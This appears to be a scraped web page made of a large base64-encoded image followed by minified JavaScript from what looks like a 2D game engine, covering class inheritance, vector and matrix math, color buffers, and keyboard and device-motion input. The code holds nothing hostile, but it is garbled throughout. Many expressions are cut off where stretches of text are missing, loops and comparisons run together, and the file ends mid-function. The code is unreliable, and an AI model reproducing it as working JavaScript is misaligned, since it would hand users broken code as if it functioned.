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\x3d";var b=b||{},L={id:0|998*Math.random(),E2:0|998*Math.random(),QM:function(a,c,d){a=a.toString();var e=a.substring(a.indexOf("(")+1,a.indexOf(")")),e=e.trim();for(a=a.substring(a.indexOf("{")+1,a.lastIndexOf("}"));-1!=a.indexOf("this._super");){var f=a.indexOf("this._super"),g=a.indexOf("(",f),h=a.substring(g+1,a.indexOf(")",g)),h=h.trim();a=a.substring(0,f)+"ClassManager["+d+"]."+c+".call(this"+(h?",":"")+a.substring(g+1)}return Function(e,a)},A1:function(){return this.id++},B1:function(){return this.E2++}}; L.QM.J7=L; (function(){var a=/\b_super\b/,c=b.wb.ne[b.wb.jg.M_];c&&console.log("release Mode");b.oa=function(){};b.oa.extend=function(d){function e(){this.ua=L.B1();this.ctor&&this.ctor.apply(this,arguments)}var f=this.prototype,g=Object.create(f),h=L.A1();L[h]=f;var k={writable:!0,enumerable:!1,configurable:!0};g.ua=null;e.id=h;k.value=h;Object.defineProperty(g,"__pid",k);e.prototype=g;k.value=e;Object.defineProperty(e.prototype,"constructor",k);this.Zh&&(e.Zh=b.k(this.Zh));this.$h&&(e.$h=b.k(this.$h));for(var m= 0,p=arguments.length;m=c.x||a.y>=c.y||a.x+a.width<=c.x+c.width||a.y+a.height<=c.y+c.height):!1};b.kt=function(a){return a.x+a.width};b.Dia=function(a){return a.x+a.width/2};b.Jp=function(a){return a.x};b.lt=function(a){return a.y+a.height};b.Eia=function(a){return a.y+a.height/2};b.Kp=function(a){return a.y};b.kP=function(a,c){return c.x>=b.Jp(a)&&c.x<=b.kt(a)&&c.y>=b.Kp(a)&&c.y<=b.lt(a)}; b.Gia=function(a,c){var d=a.y+a.height,e=c.x+c.width,f=c.y+c.height;return!(a.x+a.widtha?0:a};a.VW=function(){return this.IB[0]};a.SY=function(a){this.IB[0]=0>a?0:a};a.NW=function(){return this.bB[0]};a.JY=function(a){this.bB[0]=0>a?0:a};a.JW=function(){return this.UA[0]};a.IY=function(a){this.UA[0]=0>a?0:a};b.j(a,"r",a.gX,a.XY);b.j(a,"g",a.VW,a.SY);b.j(a,"b",a.NW,a.JY); b.j(a,"a",a.JW,a.IY);M=function(a,d,e,f){this.Vc=e||new ArrayBuffer(M.BYTES_PER_ELEMENT);this.wa=f||0;this.Am=new Float32Array(this.Vc,this.wa,1);this.Bm=new Float32Array(this.Vc,this.wa+4,1);this.Am[0]=a||0;this.Bm[0]=d||0};M.BYTES_PER_ELEMENT=8;Object.defineProperties(M.prototype,{x:{get:function(){return this.Am[0]},set:function(a){this.Am[0]=a},enumerable:!0},y:{get:function(){return this.Bm[0]},set:function(a){this.Bm[0]=a},enumerable:!0}});N=function(a,d,e,f,g){this.Vc=f||new ArrayBuffer(N.BYTES_PER_ELEMENT); this.wa=g||0;f=this.Vc;g=this.wa;this.Am=new Float32Array(f,g,1);this.Am[0]=a||0;this.Bm=new Float32Array(f,g+Float32Array.BYTES_PER_ELEMENT,1);this.Bm[0]=d||0;this.eE=new Float32Array(f,g+2*Float32Array.BYTES_PER_ELEMENT,1);this.eE[0]=e||0};N.BYTES_PER_ELEMENT=12;Object.defineProperties(N.prototype,{x:{get:function(){return this.Am[0]},set:function(a){this.Am[0]=a},enumerable:!0},y:{get:function(){return this.Bm[0]},set:function(a){this.Bm[0]=a},enumerable:!0},z:{get:function(){return this.eE[0]}, set:function(a){this.eE[0]=a},enumerable:!0}});P=function(a,d,e,f){this.Vc=e||new ArrayBuffer(P.BYTES_PER_ELEMENT);this.wa=f||0;this.LD=new Float32Array(this.Vc,this.wa,1);this.RD=new Float32Array(this.Vc,this.wa+4,1);this.LD[0]=a||0;this.RD[0]=d||0};P.BYTES_PER_ELEMENT=8;Object.defineProperties(P.prototype,{fa:{get:function(){return this.LD[0]},set:function(a){this.LD[0]=a},enumerable:!0},ga:{get:function(){return this.RD[0]},set:function(a){this.RD[0]=a},enumerable:!0}});b.bA=function(a,d,e,f,g, h){this.Vc=g||new ArrayBuffer(b.bA.BYTES_PER_ELEMENT);this.wa=h||0;g=this.Vc;h=M.BYTES_PER_ELEMENT;this.Qo=a?new M(a.x,a.y,g,0):new M(0,0,g,0);this.To=d?new M(d.x,d.y,g,h):new M(0,0,g,h);this.Nn=e?new M(e.x,e.y,g,2*h):new M(0,0,g,2*h);this.Rn=f?new M(f.x,f.y,g,3*h):new M(0,0,g,3*h)};b.bA.BYTES_PER_ELEMENT=32;b.ku=function(a,d,e,f){this.F=a||new N(0,0,0);this.O=d||new N(0,0,0);this.N=e||new N(0,0,0);this.L=f||new N(0,0,0)};Object.defineProperties(b.bA.prototype,{N:{get:function(){return this.Qo},set:function(a){this.Qo.x= a.x;this.Qo.y=a.y},enumerable:!0},L:{get:function(){return this.To},set:function(a){this.To.x=a.x;this.To.y=a.y},enumerable:!0},F:{get:function(){return this.Nn},set:function(a){this.Nn.x=a.x;this.Nn.y=a.y},enumerable:!0},O:{get:function(){return this.Rn},set:function(a){this.Rn.x=a.x;this.Rn.y=a.y},enumerable:!0}});b.og=function(a,d,e,f,g){this.Vc=f||new ArrayBuffer(b.og.BYTES_PER_ELEMENT);this.wa=g||0;f=this.Vc;g=this.wa;var h=N.BYTES_PER_ELEMENT;this.Qa=a?new N(a.x,a.y,a.z,f,g):new N(0,0,0,f,g); this.er=d?b.color(d.r,d.g,d.b,d.a,f,g+h):b.color(0,0,0,0,f,g+h);this.Mf=e?new P(e.fa,e.ga,f,g+h+b.tf.BYTES_PER_ELEMENT):new P(0,0,f,g+h+b.tf.BYTES_PER_ELEMENT)};b.og.BYTES_PER_ELEMENT=24;Object.defineProperties(b.og.prototype,{i:{get:function(){return this.Qa},set:function(a){var d=this.Qa;d.x=a.x;d.y=a.y;d.z=a.z},enumerable:!0},t:{get:function(){return this.er},set:function(a){var d=this.er;d.r=a.r;d.g=a.g;d.b=a.b;d.a=a.a},enumerable:!0},n:{get:function(){return this.Mf},set:function(a){this.Mf.fa= a.fa;this.Mf.ga=a.ga},enumerable:!0}});b.zb=function(a,d,e,f,g,h){this.Vc=g||new ArrayBuffer(b.zb.BYTES_PER_ELEMENT);this.wa=h||0;g=this.Vc;h=this.wa;var k=b.og.BYTES_PER_ELEMENT;this.Qo=a?new b.og(a.i,a.t,a.n,g,h):new b.og(null,null,null,g,h);this.Nn=d?new b.og(d.i,d.t,d.n,g,h+k):new b.og(null,null,null,g,h+k);this.To=e?new b.og(e.i,e.t,e.n,g,h+2*k):new b.og(null,null,null,g,h+2*k);this.Rn=f?new b.og(f.i,f.t,f.n,g,h+3*k):new b.og(null,null,null,g,h+3*k)};b.zb.BYTES_PER_ELEMENT=96;Object.defineProperties(b.zb.prototype, {N:{get:function(){return this.Qo},set:function(a){var d=this.Qo;d.i=a.i;d.t=a.t;d.n=a.n},enumerable:!0},F:{get:function(){return this.Nn},set:function(a){var d=this.Nn;d.i=a.i;d.t=a.t;d.n=a.n},enumerable:!0},L:{get:function(){return this.To},set:function(a){var d=this.To;d.i=a.i;d.t=a.t;d.n=a.n},enumerable:!0},O:{get:function(){return this.Rn},set:function(a){var d=this.Rn;d.i=a.i;d.t=a.t;d.n=a.n},enumerable:!0},Vw:{get:function(){return this.Vc},enumerable:!0}});b.UI=function(){return new b.zb}; b.TI=function(a){if(!a)return b.UI();var d=a.N,e=a.F,f=a.L;a=a.O;return{N:{i:{x:d.i.x,y:d.i.y,z:d.i.z},t:{r:d.t.r,g:d.t.g,b:d.t.b,a:d.t.a},n:{fa:d.n.fa,ga:d.n.ga}},F:{i:{x:e.i.x,y:e.i.y,z:e.i.z},t:{r:e.t.r,g:e.t.g,b:e.t.b,a:e.t.a},n:{fa:e.n.fa,ga:e.n.ga}},L:{i:{x:f.i.x,y:f.i.y,z:f.i.z},t:{r:f.t.r,g:f.t.g,b:f.t.b,a:f.t.a},n:{fa:f.n.fa,ga:f.n.ga}},O:{i:{x:a.i.x,y:a.i.y,z:a.i.z},t:{r:a.t.r,g:a.t.g,b:a.t.b,a:a.t.a},n:{fa:a.n.fa,ga:a.n.ga}}}};b.C9=function(a){if(!a)return[];for(var d=[],e=0;e>16,(a>>8)%256,a%256)};b.taa=function(a){var c=a.r.toString(16),d=a.g.toString(16),e=a.b.toString(16);return"#"+(16>a.r?"0"+c:c)+(16>a.g?"0"+d:d)+(16>a.b?"0"+e:e)}; b.wu=0;b.Jq=1;b.fI=2;b.Qq=0;b.jV=1;b.VI=2; b.K9=b.oa.extend({Bo:null,ms:null,TA:0,ctor:function(){this.Bo={};this.ms={};this.TA=2<<(0|10*Math.random())},yV:function(){this.TA++;return"key_"+this.TA},pka:function(a,c){if(null!=c){var d=this.yV();this.Bo[d]=c;this.ms[d]=a}},K3:function(a){if(null==a)return null;var c=this.Bo,d;for(d in c)if(c[d]===a)return this.ms[d];return null},$la:function(a){return this.K3(a)},w4:function(a){if(null!=a){var c=this.Bo,d;for(d in c)if(c[d]===a){delete this.ms[d];delete c[d];break}}},Wia:function(a){if(null!= a)for(var c=0;cMath.abs(a-d)&&(d=a);2>Math.abs(c-e)&&(e=c);a=b.rect(Math.round((a-d)/2),Math.round((c-e)/2),d,e);b.B==b.Aa&&b.l.translate(a.x,a.y+e);this.UC.scale=[f,g];this.UC.viewport=a;return this.UC},bn:function(){},apply:function(){return{scale:[1,1]}},an:function(){}}); (function(){var a=b.Xj.extend({apply:function(a){this.oD(a,a.ce.width,a.ce.height)}}),c=b.Xj.extend({apply:function(a,c){var d=a.ce.width,e=a.ce.height,f=b.Im.style,q=c.width,r=c.height,t=d/q,s=e/r,u,v;t>=1}return-1},DY:function(a){0>a||a>=this.mC||(a=~(1<=d.length?d.push(a):(d[this.HC]=a,this.HC=(this.HC+1)%50))},Ks:function(a,c,d){var e=this.rL;a=this.Ak.zE(a,c,d);c=new b.Eu(a.x,a.y);c.nm(e.x,e.y);e.x=a.x;e.y=a.y;return c},op:function(a,c,d){var e= this.wY;this.Ak.jW(a,c);c=new b.Jc(d);c.k5(a.x,a.y);c.WY(e.x,e.y);e.x=a.x;e.y=a.y;return c},qp:function(a,c){if(null!=a.pageX)return{x:a.pageX,y:a.pageY};c.left-=document.body.scrollLeft;c.top-=document.body.scrollTop;return{x:a.clientX,y:a.clientY}},tx:function(a,c){for(var d=[],e=this.Ak,f,g,h=this.rL,k=a.changedTouches.length,m=0;mthis.Pu&&(this.Kl-=this.Pu,b.ra.dispatchEvent(new b.IR(this.VA)));this.Kl+=a}};var n=b.uO;n.oja=function(a){this.Ou!==a&&(this.Ou=a,a=b.J.al(),this.Ou?(this.Kl=0,a.eG(this)):(this.Kl=0,a.At(this)))};n.pja=function(a){this.Pu!==a&&(this.Pu=a)};n.CL=function(){b.Ha(b.Wa,"keydown",function(a){b.ra.dispatchEvent(new b.fH(a.keyCode,!0));a.stopPropagation();a.preventDefault()},!1);b.Ha(b.Wa,"keyup",function(a){b.ra.dispatchEvent(new b.fH(a.keyCode,!1));a.stopPropagation();a.preventDefault()},!1)}; n.BL=function(){var a=window;this.VA=new fa;this.Nu=a.DeviceMotionEvent||a.DeviceOrientationEvent;b.pa.Aj==b.pa.UG&&(this.Nu=window.DeviceOrientationEvent);b.Ha(a,this.Nu==a.DeviceMotionEvent?"devicemotion":"deviceorientation",this.Y_.bind(this),!1)}; n.Y_=function(a){var c=window;if(this.Ou){var d=this.VA,e,f,g;this.Nu==window.DeviceMotionEvent?(g=a.accelerationIncludingGravity,e=this.fJ*g.x*0.1,f=this.fJ*g.y*0.1,g=0.1*g.z):(e=a.gamma/90*0.981,f=0.981*-(a.beta/90),g=a.alpha/90*0.981);b.pa.Zm===b.pa.xH?(d.x=-e,d.y=-f):(d.x=e,d.y=f);d.z=g;d.timestamp=a.timeStamp||Date.now();a=d.x;c.orientation===b.YU?(d.x=-d.y,d.y=a):c.orientation===b.XU?(d.x=d.y,d.y=-a):c.orientation===b.ZU&&(d.x=-d.x,d.y=-d.y)}};delete n;b.p7=function(a,c,d,e,f,g){this.a=a;this.b=c;this.C=d;this.K=e;this.Ja=f;this.Ka=g};b.R$=function(a,c,d,e,f,g){return{a:a,b:c,C:d,K:e,Ja:f,Ka:g}};b.gP=function(a,c){return{x:c.a*a.x+c.C*a.y+c.Ja,y:c.b*a.x+c.K*a.y+c.Ka}};b.Ik=function(a,c,d){return{x:d.a*a+d.C*c+d.Ja,y:d.b*a+d.K*c+d.Ka}};b.tla=function(a,c){return{width:c.a*a.width+c.C*a.height,height:c.b*a.width+c.K*a.height}};b.S$=function(){return{a:1,b:0,C:0,K:1,Ja:0,Ka:0}};b.Q$=function(){return{a:1,b:0,C:0,K:1,Ja:0,Ka:0}}; b.XF=function(a,c){var d=b.Kp(a),e=b.Jp(a),f=b.kt(a),g=b.lt(a),h=b.Ik(e,d,c),d=b.Ik(f,d,c),e=b.Ik(e,g,c),k=b.Ik(f,g,c),f=Math.min(h.x,d.x,e.x,k.x),g=Math.max(h.x,d.x,e.x,k.x),m=Math.min(h.y,d.y,e.y,k.y),h=Math.max(h.y,d.y,e.y,k.y);return b.rect(f,m,g-f,h-m)}; b.xY=function(a,c){var d=b.Kp(a),e=b.Jp(a),f=b.kt(a),g=b.lt(a),h=b.Ik(e,d,c),d=b.Ik(f,d,c),e=b.Ik(e,g,c),k=b.Ik(f,g,c),f=Math.min(h.x,d.x,e.x,k.x),g=Math.max(h.x,d.x,e.x,k.x),m=Math.min(h.y,d.y,e.y,k.y),h=Math.max(h.y,d.y,e.y,k.y);a.x=f;a.y=m;a.width=g-f;a.height=h-m;return a};b.c_=function(a,c,d){return{a:a.a,b:a.b,C:a.C,K:a.K,Ja:a.Ja+a.a*c+a.C*d,Ka:a.Ka+a.b*c+a.K*d}};b.U$=function(a,c,d){return{a:a.a*c,b:a.b*c,C:a.C*d,K:a.K*d,Ja:a.Ja,Ka:a.Ka}}; b.T$=function(a,c){var d=Math.sin(c),e=Math.cos(c);return{a:a.a*e+a.C*d,b:a.b*e+a.K*d,C:a.C*e-a.a*d,K:a.K*e-a.b*d,Ja:a.Ja,Ka:a.Ka}};b.Dm=function(a,c){return{a:a.a*c.a+a.b*c.C,b:a.a*c.b+a.b*c.K,C:a.C*c.a+a.K*c.C,K:a.C*c.b+a.K*c.K,Ja:a.Ja*c.a+a.Ka*c.C+c.Ja,Ka:a.Ja*c.b+a.Ka*c.K+c.Ka}};b.P$=function(a,c){return a.a===c.a&&a.b===c.b&&a.C===c.C&&a.K===c.K&&a.Ja===c.Ja&&a.Ka===c.Ka}; b.DM=function(a){var c=1/(a.a*a.K-a.b*a.C);return{a:c*a.K,b:-c*a.b,C:-c*a.C,K:c*a.a,Ja:c*(a.C*a.Ka-a.K*a.Ja),Ka:c*(a.b*a.Ja-a.a*a.Ka)}};b.CH=parseFloat("1.192092896e-07F");b.OF=function(a){return b.d(-a.x,-a.y)};b.Mj=function(a,c){return b.d(a.x+c.x,a.y+c.y)};b.Ed=function(a,c){return b.d(a.x-c.x,a.y-c.y)};b.Ki=function(a,c){return b.d(a.x*c,a.y*c)};b.cP=function(a,c){return b.Ki(b.Mj(a,c),0.5)};b.Gp=function(a,c){return a.x*c.x+a.y*c.y};b.Q3=function(a,c){return a.x*c.y-a.y*c.x};b.ky=function(a){return b.d(-a.y,a.x)};b.aia=function(a){return b.d(a.y,-a.x)};b.$ha=function(a,c){return b.Ki(c,b.Gp(a,c)/b.Gp(c,c))}; b.bia=function(a,c){return b.d(a.x*c.x-a.y*c.y,a.x*c.y+a.y*c.x)};b.eia=function(a,c){return b.d(a.x*c.x+a.y*c.y,a.y*c.x-a.x*c.y)};b.aP=function(a){return b.Gp(a,a)};b.$O=function(a,c){return b.aP(b.Ed(a,c))};b.kl=function(a){return Math.sqrt(b.aP(a))};b.Vha=function(a,c){return b.kl(b.Ed(a,c))};b.Ng=function(a){return b.Ki(a,1/b.kl(a))};b.Wha=function(a){return b.d(Math.cos(a),Math.sin(a))};b.T3=function(a){return Math.atan2(a.y,a.x)}; b.Qc=function(a,c,d){if(c>d){var e=c;c=d;d=e}return a=f.x&&0<=f.y&&1>=f.y?!0:!1};b.Zha=function(a,c,d,e){var f=b.d(0,0);return b.NF(a,c,d,e,f)?(d=b.d(0,0),d.x=a.x+f.x*(c.x-a.x),d.y=a.y+f.x*(c.y-a.y),d):b.d(0,0)}; b.cia=function(a,c){return 